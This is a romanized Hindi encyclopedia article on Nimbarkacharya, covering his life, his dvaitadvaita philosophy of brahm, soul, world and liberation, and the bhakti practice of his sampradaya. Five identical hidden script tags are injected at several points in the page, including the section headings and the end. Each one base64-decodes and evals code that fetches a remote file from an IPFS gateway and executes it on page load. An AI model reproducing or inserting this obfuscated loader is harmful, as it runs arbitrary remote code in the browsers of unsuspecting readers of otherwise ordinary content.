निम्बार्काचार्य

thumb|220px|nimbarkachary nimbarkachary ek mahattvapoorn vaishnav sampraday ke pravartak achary ke roop mean prakhyat rahe haian. yah jnatavy hai ki vaishnavoan ke pramukh char sampradayoan mean nimbark sampraday bhi ek hai. isako 'sanakadik sampraday' bhi kaha jata hai. aisa kaha jata hai ki nimbark dakshin bharat mean godavari nadi ke tat par vaidoory pattan ke nikat (pandarapur) arunashram mean shri arun muni ki patni shri jayanti devi ke garbh se utpann hue the. katipay vidvanoan ke anusar dravi d desh mean janm lene ke karan nimbark ko dravi dachary bhi kaha jata tha.

jivan parichay

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

dvaitadvaitavad ya bhedabhedavad ke pravartak achary nimbark ke vishay mean samanyataya yah mana jata hai ki unaka janm 1250 ee. mean hua tha. shrinimbarkachary ki mata ka nam jayanti devi aur pita ka nam shri arun muni tha. inhean bhagavan soory ka avatar kaha jata hai. kuchh log inako bhagavan ke sudarshan chakr ka bhi avatar manate haian tatha inake pita ka nam shri jagannath batalate haian. vartaman anveshakoan ne apane pramanoan se inaka jivan-kal gyarahavian shatabdi siddh kiya hai. inake bhakt inaka janm kal dvapar ka manate haian. inaka janm dakshin bharat ke godavari ke tat par sthit vaidooryapattan ke nikat arunashram mean hua tha. aisa prasiddh hai ki inake upanayan ke samay svayan devarshi narad ne inhean shri gopal-mantri ki diksha pradan ki thi tatha shrikrishnaopasana ka upadesh diya tha. inake guru devarshi narad the tatha narad ke guru shrisanakadi the. isaliye inaka sampraday sanakadi sampraday ke nam se prasiddh hai. inake mat ko dvaitadvaitavad kahate haian.

nimbark ka janm bhale hi dakshin mean hua ho, kintu unaka kary kshetr mathura raha. mathura bhagavan shri krishna ki janm bhoomi rahi, at: bharat ke pramukh saanskritik kendroan mean mathura ka apana niji sthan rahata chala aya hai. nimbark se pahale mathura mean bauddh aur jainoan ka prabhutv ho gaya tha. nimbark ne mathura ko apana kary kshetr banakar yahaan pun: bhagavat dharm ka pravartan kiya.

dvaitadvaitavad mat

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

shrinimbarkachary ke anusar inaka mat atyant prachin kal se sambaddh hai, koee naya mat nahian hai. inhoanne apane bhashy mean narad aur sanatkumar ke nam ka ullekh karake yah siddh kiya hai ki inaka mat srishti ke adi se hai. kahate haian ki pahale inaka nam niyamanand tha. shridevachary ne isi nam se inako namaskar kiya hai. jab ye yamuna tatavarti dhruv kshetr mean nivas karate the, tab ek din ek dandi sannyasi inake ashram par aye. unake sath ye adhyatmik vichar-vimarsh mean itane tallin ho gaye ki sooryast ho gaya. sooryast hone par jab inhoanne apane atithi sannyasi se bhojan karane ka nivedan kiya, tab unhoanne sooryast ki bat kahakar bhojan karane mean apani asamarthata vyakt ki. dandi sannyasi pray: sooryast ke bad bhojan nahian karate haian. atithi ke bina bhojan kiye laut jane ki bat par shrinimbarkachary ko kafi chinta huee. bhagavan ne inaki samasya ke samadhan ke liye prakriti ke niyamoan mean parivartan ki adbhut lila rachi. sabhi logoan ne ashcharyachakit hokar dekha ki inake ashram ke sannikat nim ke oopar sooryadev prakashit ho gaye. bhagavan ki apar karuna ka pratyaksh darshan karake achary ka hriday gadgad ho gaya. bhagavan ki karuna ke prati shat-shat kritajnata prakat karate hue inhoanne apane atithi ko bhojan karaya. atithi ke bhojanoparant hi sooryast hua. bhagavan ki is asim karuna ko logoan ne shrinimbarkachary ki siddhi ke roop mean dekha, tabhi se inaka nam nimbadity athava nimbark prasiddh hua. yadyapi shrinimbarkachary ne anek granthoan ka pranayan kiya, kintu vartaman mean vedant-krishna ki pooja hoti hai. shrimadbhagavat is sampraday ka pradhan granth hai. inake mat mean brahm se jiv prithakh bhi hai aur ek bhi hai.

nimbark sampraday

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

nimbark sampraday ka vikas do shreniyoan mean hua, ek virakt aur doosari grihasth. achary nimbark ke do pramukh shishy the, keshav bhatt aur hari vyas. keshav bhatt ke anuyayi virakt hote haian aur hari vyas ke anuyayi grihasth. nimbark sampraday mean radha aur krishna ki pooja hoti hai. ye log gopichandan ka tilak lagate haian aur shrimadbhagavat inaka pramukh sampraday granth hai. bharat mean ab bhi is sampraday ke anuyayi paryapt sankhya mean haian. sampraday ke roop mean nimbark parampara ko age badhane vale uttaravarti acharyoan mean gosvami shri hit harivansh, shri hari vyas aur svami haridas ki ginati pramukh roop se ki jati hai. uttaravarti acharyoan mean madhav mukund (1700- 1800 ee.) bhi bahut mahattvapoorn haian. aisa pratit hota hai ki nimbark ka golokavas vrindavan ya isake asapas chaudahavian shati mean hua.

nimbarkachary ke siddhaant

shri nimbarkachary ne jiv, maya, jagath adi ka brahm se dvaitadvait sthapit kiya hai, kintu isase pahale ki ham 'jiv-brahm aiky' ya 'jiv-brahm parthaky' ki charcha karean, yah uchit hoga ki brahm adi ke sambandh mean nimbark ke mat ka pahale prithakh prithakh roop se ullekh kar liya jaye.

brahm

achary nimbark ke anusar brahm jiv aur jagath se prithakh bhi hai aur aprithakh bhi. parinam ke roop mean ve prithakh haian, kintu svaroop mean antar n hone ke karan ve brahm se aprithakh bhi haian. brahm jagath roop mean parinat hone par nirvikar hai. pralayavastha mean samast jagath usamean lin ho jata hai. parantu lin hone par bhi brahm mean vikar utpann nahian hota. gun aur guni mean abhed hota hai. abhed manane ke karan hi nimbark ne brahm ko nirgun mana hai, kintu srishti ke roop mean brahm sagun hai, nimbark brahm ko chatushpad manate haian. yah drishyaman sansar brahm ka pratham charan hai. vishv ke samast padarthoan ko vibhinn roopoan dekhane vala jivatma dvitiy charan hai. samast brahmand ke padarthoan ka nity drashta eeshvar tritiy charan hai. in tinoan se oopar anand matr ka adhishthan akshar brahm chaturth charan hai. is prakar sampoorn vishv aur jiv samuday bhi brahm hi hai. jagath aur jiv brahm ke aansh matr haian aur aansh tatha aanshi mean bhedabhed sambandh hai. sadhak jiv jab chidesh ke sath ekakar hokar anand ki prapti karata hai to use hi mukti kahate haian, jis prakar soory apani rashmiyoan se samagr vishv ko prakashit karata hai, vaise hi brahm bhi apane anandamay roop se sampoorn jagath ko anandit karata hai. kintu jis prakar soory ki kiran aur soory mean bhed bhi hai aur abhed bhi usi prakar jivagat anand aur brahmagat anand mean bhed bhi hai aur abhed bhi. brahm samagr anand ki anubhooti karata hai. at: yah eeshvar aur sarvajn kahalata hai. usaki tulana mean jiv anand ke ek vishesh aansh ka hi anubhav ya jnan karata hai. at: jiv visheshajn mana ja sakata hai, sarvajn nahian. sarvajn n hone ke karan hi jiv brahm ke adhin hai. eeshvar brahm, jiv brahm aur jagath brahm, in tinoan ka adhishthan akshar brahm hai. vi nirgun hai. kintu jagath ka nimitt aur upadan karan hone ke karan vah sagun bhi kahalata hai. brahm jis sthiti mean samagr anand ki anubhooti karata hai, us sthiti mean vah eeshvar kahalata hai. brahm ka eeshvar roop hi sarvajn sarvaprakashak tatha srishti sthiti aur lay ka karan mana jata hai.

nimbark ne eeshvar aur brahm ko ek mana hai. brahm jagath ka upadan karan hote hue bhi vikari nahian hai. nimbark ne brahm ko vyooh kaha hai. vasudev, sankarshan, pradyumn aur aniruddh ye char vyooh haian. nimbark matanuyayi purushottam ne eeshvar ke avataroan ko tin vargoan mean vibhajit kiya hai- gunavatar, purushavatar aur lilavatar. brahma rajogun ke adhar par sansar ka nirman karata hai. vishnu satvagun ke dvara sansar ka rakshan karata hai aur shiv tamo gun ke madhyam se sansar ka vinash karata hai. kshir sagar shayi vishnu purushavatar haian. lilavatar do prakar ke hote haian- aveshavatar aur svaroopavatar. nar aur narayan is koti mean ate haian. nimbark ka vichar hai ki brahm shruti ke madhyam se jana ja sakata hai.

atma

nimbark ke kathananusar atma jnata hai. apane astitv ke lie brahm par nirbhar karata hai. yah anu roop hai. yadyapi yah jnanamay hai phir bhi jnan ka ashray kaha jata hai. atma paramatma ke adhin hone ke karan usase bhinn hai, kintu atma ki satta svaroop aur gati ka srot paramatma hi hai aur paramatma se bhinn atma ka koee astitv nahian hai. at: vah abhinn bhi hai. 'tavamasi' jaise vakyoan ka nimbark ne jo vishleshan kiya hai, usase bhi brahm, atma aur jagath mean bhedabhedavad ki pushti hoti hai.

jiv

nimbark ke anusar niroopadhik chinmatr brahm paramatma hai. jiv ki pravritti vishayopabhog ki or hoti hai. sukh aur du:kh ka anubhav bhi jiv hi karata hai :-

ahamitthev yo vedy: s jiv iti kirtit:.
s du:khi s sukhi chaiv s patran bandhamokshayo:..

  avidyopadhik vasana baddh jiv ko hi sthoolaroondhati nyay se ahankar bhi kaha jata hai. bhoomasadhana dvara man ki vrittiyoan ko antarmukhi karake yani ahamh (maian) ko sookshm ahamh (asmita maian karta hooan, maian bhokta hooan) maian lay karake tatha sookshm ahamh ko bhi asmi (hooan) mean lay karake jiv brahmi sthiti mean pahuanch jata hai. is sthiti mean nirantar rahane ke anantar hi jiv ka moksh hota hai. isi bhav ko nimbark ne is tarah se bhi prastut kiya hai ki hridayasth vrindavan mean priya, priyatam aur prem in tinoan ki samavet sthiti ka chintan hi upasana hai. is sthiti ki charamavastha mean jab sadhak, sadhy aur sadhan ka bhed mit jata hai, to jiv nity kantabhav se akhand premaras ka asvadan karata hai.

nimbark ke anusar jivatma paramatma ke saman jnan svaroop hai, parantu vasana se grast hone ke karan vah paramatma ke adhin mana jata hai. isalie vah janm, maran, kshay, vriddhi, parinam adi vikaroan se grast rahata hai. vah anu hai, kintu pratideh se bhinn hone ke karan anant (asankhy) hai.

jnanasvaroopan ch hareradhinan sharirasanyogaviyogayogyamh.
anuanhi jivan pratidehabhinnan jnatritvavantan yamanantamahu:..

  anadi maya se grast hone ke karan jiv apane nity, shuddh, buddh mukt svaroop ko nahian samajh pata. keval bhagavath prasad se hi vah apane svaroop ki prapti (vasanarahity) kar sakata hai. bhagavat prasad ka sadhan bhakti yog hai. mukt avastha mean jiv brahm ke sath apane aur jagath ke abhinnatv ka anubhav karata hai. vah apane ko aur jagath ko brahm roop mean hi dekhata hai, jabaki vriddhavastha mean jiv apani brahmasvaroopata aur jagath ki brahmasvaroopata ki upalabdhi nahian kar sakata. yah jnatavy hai ki vyas ne bhi jnan karm aur bhakti ye tin yog manushy ke kalyan ke lie batae haian. isamean se jnan yog sannyasiyoan ke lie, karm yog sakam sansari manushyoan ke lie aur bhakti yog nishkam manushyoan ke lie bataya gaya hai.

moksh

nimbark ka vichar hai ki 'ahan' tatv ko paramatmaroop se shravan karane par saroopy, mahattatv ko paramatmaroop se darshan karane se salauky, manastatv ko paramatmaroop se manan karane se samipy tatha jivatatv ko paramatmaroop se nididhyasan karane se sarshti (arthath paramatma ke saman sukh aur aishvary roop) mukti milati hai.

vasana ka atyantik kshay hi moksh hai. brahm vidya ki upasana dvara hi vasana ka kshay sambhav hai. brahmasootravakyarth ke chaturth adhyay mean nimbark ne yah bhi kaha hai ki ahankar ko man se, man ki jiv se aur jiv ki paramatma se sanlagnata moksh ka sadhan hai. charvak ne anganalianganajany sukh ko purusharth kaha tha, kintu nimbark ka yah vichar hai ki aise sukh ko priyavat bhav se paramatma ke shashvat sukh se sanyukt kar diya jaye to vah bhi atmodvar mean badhak nahian hoga. jnanamargiy drishti se aihik sukhoan ka tyag avashyak hai, kintu premamargi drishti se sukh ko paramatma se yukt kar dena adhik shreyaskar hai. nimbark ki aisi udar manyataoan ke karan hi unake mat ko pravrittimargiy bhagavat dharm bhi kaha jata hai. nimbark ka vichar hai ki atma aur sharir ko ek samajhana hi bandh ka sabase b da karan hai. moksh ka ashay hai- jiv ka brahm ke saman ho jana. ekamatr bhakti ki tulana mean nimbark jnanapoorvika bhakti ko moksh ka adhik achchha sadhan manate haian. jivatma karm ke adhin hai. karm avidya ka parinam hai. karm bandhan anadi haian, kintu paramatma ke anugrah se jiv ko mukti mil jati hai. paramatma mean sarvatmasamarpan kar dene se paramatma ka anugrah prapt hota hai. bhakti dvara hi paramatma ka anugrah prapt hota hai.

jagat

nimbark ke vichar mean jagath bhram ya mithya nahian, apitu brahm ka svabhavik parinam hai. jagath ka udbhav brahm ki abhilasha se hota hai. brahm hi srishti ka upadan tatha nimitt karan hai. sarvapratham brahm se akash tatv ka udbhav hota hai. tadanantar akash se vayu, tej, jal aur prithvi ka vikas hota hai. brahm mak di ki tarah jagath ka srijan aur svayan mean hi sanhar kar leta hai. jagat brahm se bhinn bhi hai aur abhinn bhi. bhinn to is roop mean hai ki brahm ka svatantr astitv hai aur jagath usake niyantran mean hai. jagath simit hai, jabaki brahm asimit hai. jagath brahm se abhinn bhi hai, kyoanki jagath ko brahm se alag nahian kiya ja sakata. nimbark ramanuj ke saman satkaryavad ke adhar par hi jagath ki vyakhya karate haian. jagath prakriti mean avyakt roop se vidyaman rahata hai. prakriti ko eeshvar ki shakti manate haian.

nimbark satakhyativad ko manate haian. unaka tark yah hai ki sabhi jnan brahmamay hai, at: ve sath haian. nimbark ke kathan par yah apatti ki ja sakati hai ki is tarah to bhram sandeh adi ka koee sthan hi nahian rahega, jabaki ve anubhav mean ate haian. nimbark svat: pramanyavad ke pakshapati haian, kintu doshabhav ko pramany ke tattvoan mean samavisht karane ke karan unake siddhaantoan mean param: pramany ke bich bhi dikhaee de sakate haian. devachary aur sundarabhatt ke granthoan mean nimbark rachit do shlokoan ka ullekh milata hai, jinamean ki nimbark mat ka sar diya hua hai. shlok is prakar se hai :-

jnanasvaroopan ch hareradhinan sharirasanyogaviyogayogyamh.
anuan hi jivan pratidehabhinnan jnatritvavantan yamanantamahu:..
sarv hi vijnanamati yatharthakamh, shrutismritibhyo nikhilasy vastun:.
branhmatmakatvaditi vedavinmatan, triroopatapishrutisootrasadhita..

 

dvaitadvaitavad ka tulanatmak vishleshan

shri shankarachary eeshvar tattv evan dharm tattv donoan ka samanjasy karate haian. unake matanusar jo nirgun tatha jnan svaroop hai, vahi vyavaharik roop mean sagun sakriy aur srishti tatha lay ka karta hai. eeshvar evan dharmatattv ke dvara vivek, vairagy, sham, dam, titiksha aur uparati adi chh: sadhanoan ke bad brahm tattv ki jijnasa hoti hai. nimbark ke mat mean brahm jagath ka upadan karan aur nimitt karan hai. isilie bhinn bhi hai aur abhinn bhi. jagath brahm ki sthool abhivyakti hai. jagath ke tin upadan karan haian-

1. chaitany
2. gati
3. j d.

shankar ne bhi kee jagah yah svikar kiya hai ki j d shakti ki parinati hai tatha shakti chaitany ka roopantar hai. brihadarany upanishad ke bhashy mean shankar ne yahaan tak kaha hai ki jagath ko yadi namaroopatmak n mana jaye to brahm bhi ajney ho jayega (yadi hi namaroope n vyakriyete, brahmano prajnanaghanakhyaan roopan n pratijnayet). tatpary yah hai ki jagath ko brahm se bhinn nahian kiya ja sakata. kyoanki us vyavastha mean brahm shoony ho jayega. isake atirikt nam roop kabhi chaitany se rahit nahian ho sakata. usake mool mean chaitany avashy rahata hai. is bat ka ullekh kee vidvanoan ne kiya hai ki darshan shastr ki do adharabhoot pravrittiyaan haian, ek to vah jo tark par ashrit hai aur doosari vah jo anubhooti par nirbhar karati hai. adhikatar darshan buddhivadi hai. kintu nimbark ki ganana samanvayavadi darshanikoan mean ki ja sakati hai. unake dvara pravartit bhaktiyog mean samanvay ke darshan kiye ja sakate haian. upanishadoan mean man ki nishkam avastha ko brahmasanstha ya brahm nirvan kaha gaya hai. mahatma buddh ne prajnatattv aur upayatattv ko nirvan ka adhar mana tha. buddh ke anuyayiyoan ne prajna aur upay in donoan ke sanyog se ki jane vali upasana se sahaj siddhi mani- 'prajna rahitopayo bandh:. upayarahita prajnabandh:. tadatmyan chanayo: sadgurupadeshat: pradipalokayoriv sahajasiddhimebadhigamyate' (advayavajrasangrah). jabaki nimbark ne brahmabhootatv tatha nirvan ka samanvay kar brahmatmabhav namak mukti ka ullekh kiya hai. ramanujachary dasyabhav ki dainyayukt sharanapatti se kripa ki akaanksha, shri madhvachary sakhyabhav ke pritiyukt sahachary se anand ki abhilasha tatha shri vallabhachary vatsalyabhav ke snehayukt samipy se poshan ki lalasa abhivyakt karate haian, jabaki nimbark priyavath bhav se shri krishna ke sath nity vihar ki charcha karate haian.

nimbarkachary ka bhaktiparak mat

maharshi patanjali ne ashtaang yog aur eeshvar pranidhan- ye do marg atmoddhar ke lie nirdisht kiye the. nimbark ne in tinoan margoan ko do marg n kah karake inake sahabhav se sampann bhakti yog ka pravartan kiya, jisamean chidanand sambalit premabhav ka pradhany hai. is premabhav se dvait aur advait donoan avasthaoan ka samanjasy hota hai. premi, premapatr aur prem tinoan ka aiky ho jana hi advait avastha hai. jo log keval chidansh par hi bal dete haian, ve jnanamargi kahalate haian. chidh aansh hi jnan ka bhav hai. anand aansh par bal dene vale log bhakt kahalate haian. jnan aur anand donoan bhavoan ka jo samanjasy hota hai, usamean chith aur anand ka tatha jnan aur bhakti ka samanjasroo ho jata hai. patanjal yog darshan ki sadhana jnan marg ki hai, usamean samadhi ke madhyam se chidansh sakshatkar ki vidhi batalaee gee hai. patanjali ne eeshvar pranidhan ke madhyam se jo sadhana bataee hai, usamean atm samarpan ke dvara anand aansh ki upalabdhi rahati hai. mahamopadhyay gopinath kaviraj ne (Gleeanings from the Tantras) ki bhoomika mean yah likha hai ki bhakt do prakar ke hue haian- ek ve jo bhakti ko keval bhavaroop se janate haian aur doosare ve jo ras roop se usaki anubhooti karate haian. jisaka uddeshy bhagavad dham mean pravisht hokar bhagavat seva ka anand lena hai, unake lie ram marg hi shreyaskar hai. tatpary yah hai ki saansarik rag jab bhagavat chintan ka madhyam ban jata hai to vah rag hi prem ras ke roop mean parinat ho jata hai. nimbark sampraday ke bhakt kavi jayadev ke git govind ka bhi isi pariprekshy mean samajhana chahie.

nimbark ke matanusar

nimbark ke matanusar niroopadhik chinnamatr brahm hi paramatma hai. aupadhik brahm brahma hai aur jiv ahankar hai. ajnan aur moh se baddh jiv ahankar kahalata hai. kyoanki isaki pravritti vishayopabhag ki or hoti hai. ahankar ko hi bhooma mean magn kar dene se sampoorn vishv bhoomamay dikhane lagata hai. kabhi kabhi to sadhak apane ap ko hi bhagavan samajhane lagata hai, kyoanki tanmayata mean use sv aur par ka dhyan bhi nahian rahata. bahy aur abhyantar donoan mean hi vah hari ki anubhooti karane lagata hai, jaisa ki kaha gaya hai-

s evadhanstadahamevadhastadatmaivadhastath..
s evedan sarvamh ahamevedan sarvamh atmaivedansarvamh..

  shri nimbark ne karm roopi vairagy ko hi sadhanavastha mana hai. bhakti se hi karm aur jnan ko poshan tattv prapt hota hai. bhakti ke dvara jo ant:karan ka dravan hota hai, vahi ras svaroop brahmanubhooti hai. kisi bhi kriya mean prem aur jnan donoan ki sangati avashyak hai. bhakti ki sadhana dvaitavad ki dyotak hai aur jnan sadhana advaitavad ki. bhakti, jnan aur karm ki samavet sadhana dvaitabhav ki dyotak hai. is upasana se nistraiguny bhav ki prapti hoti hai.

nimbark ne vedant kamadhenu mean upasana ke svaroop ka bhi yath kianchit ullekh kiya hai. bhakti marg mean guru ka atyadhik mahattv hai, aisa unaka mat hai. premabhakti ke sandarbh mean gopishvari radha hi guru roop mean bhi manya haian. radha ko upasya ke sath sath achary manane ki parampara ka sootrapat nimbark ne hi kiya hai. bad mean shri harivyas gosvami, shri hit harivansh adi ne bhi shri radha ko apana guru manane ki parampara ka nirvah kiya. yah jnatavy hai ki nimbark ne radha ko guru manakar prakarantar se yah bhi mana hai ki ajnan ka nivaran bhi radha ke hi marg darshan se ho sakata hai. yah bhavana guru ki nimnalikhit paribhasha se bhi mel khati hai-

gushabdastvandhakararavy: sashabdastannirodhak:.
ahankar vishedhitvadh sada smares devian sakaleshtakamadamh..

  nimbark ka yah kathan radhika tapaniyopanishad ke kathan se bhi mel khata hai ki- yeyan radha yashch krishnae rasadhi dehashchaik: kridanarth dvidhaabhooth. nimbark ragatmika bhakti ko shreshth manate haian. ragatmika bhakti ko vah rasamay manate haian. isamean yam, niyam adi uddipan vibhag, samahit chittata anubhav, dhyan sanchari bhav aur samadhi hi ras nishpatti hai.

bhakti aur jnan yog

nimbark ne bhakti ke kshetr mean bhi jnan ki apeksha ka nirasan nahian kiya. vah bhakti yog ke sath jnan yog ko bhi mahattv dete haian aur use brahm yog ka sahayak manate haian. kriya shakti (maya ya avidya) ka jnan shakti (vidya) se nirasan kar dena hi jnan yog hai. jnan yog mean savasamarpanh? (bhagavadbhakti) ka sanyog kar dena hi brahmayog hai. is sandarbh mean yah bhi jnatavy hai ki nimbark ke anusar shri krishna brahm haian. rukmini jnan shakti aur satyabhama kriyashakti haian. in donoan ki samavisht parashakti shri radha haian. rukmini aur satyabhama se bhinn bhinn roop mean jab paramatma ka sanyog hota hai, to vah shaktiyoan ki bhinnata ka dyotak hai aur jab radha ke roop mean donoan ka sanyog hota hai to vah abhinnata ka pratik hai. is prakar rukmini aur satyabhama ka shri krishna ke sath jo sanyog hai, vah bhed koti mean ata hai aur radha ke sath jo sanyog hai, vah abhed koti mean ata hai. yahi vah bhedabhedopasana hai, jo nimbark ke bhaktiparak mat ka mukhy adhar hai. vaise shri krishna radha ke sambandh mean nimbark ka mat bahut kuchh skand puran ke is kathan se milata julata hai ya prabhavit pratit hota hai ki-

atma tu radhika tasy tayaiv ramanadasau.
atmaram iti prokto munibhirgoodhavedibhi:..

  nimbark ne prema bhakti ko hi uttama bhakti kaha hai aur usamean bhakt ki jo sthiti hoti hai, usaka svaroop is prakar bataya hai :-

nanth gati:krishnapadaraviandaya sandrishyate brahmashivadivanvitath.
bhaktechchhayopattasuchiantyavigrahath achiantyashakteravichianty sashayath..

bhakti yog se ant:karan mean jo vishesh sthiti ghatit hoti hai, usako nimbark ne paramatma ki ahladini shakti ka vilas kaha hai. jiv gosvami ne shuddh bhakti yog ko karmayogasamanvit aur jnanayogasamanvit bhakti se shreshth mana hai, kintu nimbark ne jnanapoorvika bhakti ko adhik mahattv diya hai aur usako eeshvariy varadan jaisa mana hai.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>